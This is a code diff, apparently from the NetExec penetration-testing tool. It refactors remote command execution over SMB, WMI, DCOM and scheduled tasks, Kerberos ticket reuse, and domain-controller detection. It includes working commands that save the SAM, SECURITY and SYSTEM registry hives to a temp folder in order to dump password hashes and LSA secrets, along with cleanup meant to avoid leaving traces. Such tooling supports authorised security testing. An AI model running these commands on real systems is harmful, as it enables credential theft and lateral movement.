await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
return
finally:
await self.terminate_conn()
self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
def nla_screenshot(self):
if not self.nla:
asyncio.run(self.nla_screen())
self.runner.run(self.nla_screen())
+1 -1
View File
@@ -14,7 +14,7 @@ def proto_args(parser, parents):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
cgroup = rdp_parser.add_argument_group("Command Execution")
+31 -34
View File
@@ -131,7 +131,7 @@ class smb(connection):
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.os_arch = None
self.hash = None
self.lmhash = ""
self.nthash = ""
@@ -187,7 +187,7 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
return 0
return None
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
@@ -204,27 +204,33 @@ class smb(connection):
self.no_ntlm = True
self.logger.debug("NTLM not supported")
# Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
self.os_arch = self.get_os_arch()
aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
self.is_host_dc(aggressive_check=aggressive_check)
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
# self.remoteName is the attribute which gets used in the SPN
self.hostname = self.host
self.targetDomain = self.host
self.remoteName = self.host
if not self.no_ntlm:
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = self.conn.getServerDNSHostName()
dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
if dns_hostname and "." in dns_hostname:
hostname = dns_hostname.split(".", 1)[0]
elif dns_hostname:
hostname = dns_hostname
self.hostname = dns_hostname.split(".", 1)[0]
else:
hostname = self.conn.getServerName()
self.hostname = sanitize_dns(hostname, self.logger)
self.hostname = dns_hostname
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
# Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
self.remoteName = dns_hostname if self.kerberos else self.host
else:
try:
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
if self.isdc and detect_if_ip(self.host):
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
self.targetDomain = self.domain
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
else:
@@ -232,19 +238,12 @@ class smb(connection):
import socket
socket.inet_aton(self.host)
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
self.hostname = self.host
self.targetDomain = self.host
except OSError:
if self.host.count(".") >= 1:
self.hostname = self.host.split(".")[0]
self.targetDomain = ".".join(self.host.split(".")[1:])
else:
self.hostname = self.host
self.targetDomain = self.host
except Exception as e:
self.logger.debug(f"Error getting hostname from LDAP: {e}")
self.hostname = self.host
self.targetDomain = self.host
if self.args.domain:
self.domain = self.args.domain
@@ -259,7 +258,6 @@ class smb(connection):
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
try:
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
@@ -272,9 +270,9 @@ class smb(connection):
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
if "Windows 6.1" in self.server_os and self.server_os_build == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
elif self.server_os_build == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
@@ -285,8 +283,6 @@ class smb(connection):
except Exception as e:
self.logger.debug(e)
self.os_arch = self.get_os_arch()
# moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
if check_guest_account and not self.no_ntlm:
try:
@@ -314,9 +310,6 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
@@ -427,6 +420,8 @@ class smb(connection):
if self.args.generate_st:
self.save_st(tgs, sk, spn if self.args.spn else None)
if not tgs and not useCache:
self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if self.args.generate_st:
@@ -873,9 +868,7 @@ class smb(connection):
if self.isdc is not None:
return self.isdc
probes = [self._is_dc_via_smb]
if aggressive_check:
probes.append(self._is_dc_via_rpc)
probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
if self.no_ntlm or aggressive_check:
probes.append(self._is_dc_via_kerberos)
@@ -956,15 +949,17 @@ class smb(connection):
def _is_dc_via_rpc(self):
"""
Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
and needs no session;
and needs no session. get_os_arch() already talks to the endpoint mapper
on every scan, so this adds no new port and runs only when that call
reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
"""
from impacket.dcerpc.v5 import nrpc, epm
if not self._is_port_open(135):
self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
if self.os_arch is None:
self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
return None
self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
try:
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
self.logger.debug("Netlogon endpoint registered: host is a DC")
@@ -1986,7 +1981,8 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
*_, tgt, _ = self.conn.getCredentials()
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
if not flag or not stringBinding:
@@ -2373,7 +2369,8 @@ class smb(connection):
@requires_admin
def lsa(self, quiet=False):
try:
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
# --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
@@ -2401,7 +2398,7 @@ class smb(connection):
add_lsa_secret.secrets = 0
if self.remote_ops and self.bootkey:
if self.args.lsa == "regdump":
if self.args.lsa != "secdump":
LSA = RegSecretsLSASecrets(
self.bootkey,
self.remote_ops,
+19 -50
View File
@@ -10,6 +10,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
from nxc.protocols.smb.exec_output import get_output_file
class TSCH_EXEC:
@@ -162,62 +163,30 @@ class TSCH_EXEC:
except tsch.DCERPCSessionError as e:
self.logger.debug(f"hSchRpcRun returned: {e}")
done = False
while not done:
# A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
# slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
# interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
RUN_TIMEOUT = 30
RUN_CHECK_DELAY = 2
last_error = None
for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
try:
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
break # the task has run
except tsch.DCERPCSessionError as e:
if e.error_code == 0x00041303:
sleep(2)
continue
self.logger.fail(f"Error retrieving task last run info: {e}")
break
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
last_error = e # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
sleep(RUN_CHECK_DELAY)
else:
self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
self.logger.info(f"Deleting task \\{self.task_name}")
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
try:
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
except Exception as e:
self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
if self.__retOutput:
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
dce.disconnect()
+53
View File
@@ -0,0 +1,53 @@
from time import monotonic, sleep
def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
"""Read the output file of an executed command, then delete it.
Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
(these quick reads don't count against --get-output-tries), then every 1s.
"""
path = f"{share}\\" + filename.lstrip("\\")
quick_until = monotonic() + 0.4
sleep(first_read_delay)
attempt = 1
while True:
try:
logger.info(f"Attempting to read {path}")
conn.getFile(share, filename, callback)
break
except Exception as e:
if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
sleep(0.1)
elif attempt >= tries:
logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
attempt += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
attempt += 10
sleep(1)
else:
logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
attempt += 1
sleep(1)
try:
logger.debug(f"Deleting file {path}")
conn.deleteFile(share, filename)
except Exception as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logger.debug(f"No output file {path} to delete")
else:
logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")
+2 -38
View File
@@ -30,6 +30,7 @@ from time import sleep
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.protocols.smb.exec_output import get_output_file
from impacket.dcerpc.v5.dcom.oaut import (
IID_IDispatch,
@@ -250,41 +251,4 @@ class MMCEXEC:
self.__outputBuffer = ""
return
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")
+1
View File
@@ -11,6 +11,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
+3 -37
View File
@@ -1,10 +1,10 @@
import os
from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.helpers.rpc import NXCRPCConnection
from nxc.protocols.smb.exec_output import get_output_file
class SMBEXEC:
@@ -97,42 +97,8 @@ class SMBEXEC:
self.__outputBuffer = ""
return
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__connection.conn.deleteFile(self.__share, self.__output)
except Exception:
pass
# The service start returns once the command is done, so the file can be read right away
get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
def finish(self):
# Just in case the service is still created
+4 -38
View File
@@ -4,6 +4,7 @@ from time import sleep
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.protocols.smb.exec_output import get_output_file
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
@@ -43,6 +44,7 @@ class WMIEXEC:
if self.__password is None:
self.__password = ""
*_, tgt, _ = smbconnection.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -55,6 +57,7 @@ class WMIEXEC:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
@@ -141,41 +144,4 @@ class WMIEXEC:
self.__outputBuffer = ""
return
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
sleep(1)
tries += 1
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "WMIEXEC")
+12 -4
View File
@@ -350,13 +350,12 @@ class winrm(connection):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} & del C:\\windows\\temp\\{system_storename}"
output_filename = self.output_file_template.format(output_folder="sam")
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user")
@@ -376,18 +375,22 @@ class winrm(connection):
)
SAM.dump()
SAM.export(output_filename)
finally:
try:
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{sam_storename} and C:\\windows\\temp\\{system_storename}: {e}")
def lsa(self, quiet=False):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} & del C:\\windows\\temp\\{system_storename}"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user")
@@ -420,6 +423,11 @@ class winrm(connection):
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
finally:
try:
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{security_storename} and C:\\windows\\temp\\{system_storename}: {e}")
def dpapi(self):
self.dpapi_triage.triage_dpapi()
+29 -19
View File
@@ -23,7 +23,10 @@ from dploot.lib.network.wmi import WMITarget as Target
from impacket import ntlm
from impacket.uuid import uuidtup_to_bin
from impacket.krb5 import constants
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport, epm
@@ -43,6 +46,7 @@ class wmi(connection):
self.nthash = ""
self.server_os = None
self.doKerberos = False
self.tgt = None
self.stringBinding = None
# from: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/18d8fbe8-a967-4f1c-ae50-99ca8e491d2d
self.rpc_error_status = {
@@ -146,6 +150,7 @@ class wmi(connection):
except Exception:
buffer = 0
self.remoteName = self.host
if buffer != 0:
response = MSRPCHeader(buffer)
bindResp = MSRPCBindAck(response.getData())
@@ -155,6 +160,7 @@ class wmi(connection):
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -164,23 +170,26 @@ class wmi(connection):
if self.args.domain:
self.domain = self.args.domain
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.extra["protocol"] = "RPC"
self.logger.extra["port"] = "135"
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
def check_if_admin(self):
# With several credentials, drop the admin flag, namespaces and DCOM connections (cached per target by impacket) of the previous one
self.admin_privs = False
self.namespaces = {}
if self.dcom_conn:
self.dcom_conn.disconnect()
self.dcom_conn = None
try:
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
# Only keep the connection once activated: impacket's disconnect() can't run twice on a target
dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=self.tgt)
iInterface = dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
self.dcom_conn = dcom_conn
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
@@ -203,7 +212,6 @@ class wmi(connection):
self.logger.fail(str(e))
return False
else:
self.logger.extra["protocol"] = "WMI"
self.admin_privs = True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
@@ -213,6 +221,7 @@ class wmi(connection):
self.password = password
self.username = username
self.domain = domain
self.tgt = None
self.create_conn_obj()
if password == "":
@@ -234,10 +243,14 @@ class wmi(connection):
try:
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
dce = self.conn.get_dce_rpc()
# Reuse one TGT for every RPC/DCOM bind, impacket would otherwise redo the AS exchange on each bind
if not useCache and kerb_pass:
tgt, cipher, _, session_key = getKerberosTGT(Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value), password, domain, lmhash, nthash, self.aesKey, kdcHost)
self.tgt = {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey, TGT=self.tgt)
self.conn.setRemoteHost(self.host)
self.conn.set_kerberos(True, kdcHost)
dce = self.conn.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
@@ -393,8 +406,10 @@ class wmi(connection):
escaped_path = remote_path.replace("\\", "\\\\")
# Load the Namespace
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
if powershellv3_namespace is None:
try:
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}")
return None
# Read the file
@@ -792,13 +807,8 @@ class wmi(connection):
if namespace in self.namespaces:
return self.namespaces[namespace]
self.logger.debug(f"Getting namespace {namespace}")
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
return None
self.namespaces[namespace] = iWbemServices
self.namespaces[namespace] = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
return self.namespaces[namespace]
@property
Generated
+22 -141
View File
@@ -832,23 +832,23 @@ wmi = ["wmi (>=1.5.1)"]
[[package]]
name = "dploot"
version = "4.1.1"
version = "4.1.3"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = "<4.0,>=3.10"
groups = ["main"]
files = [
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
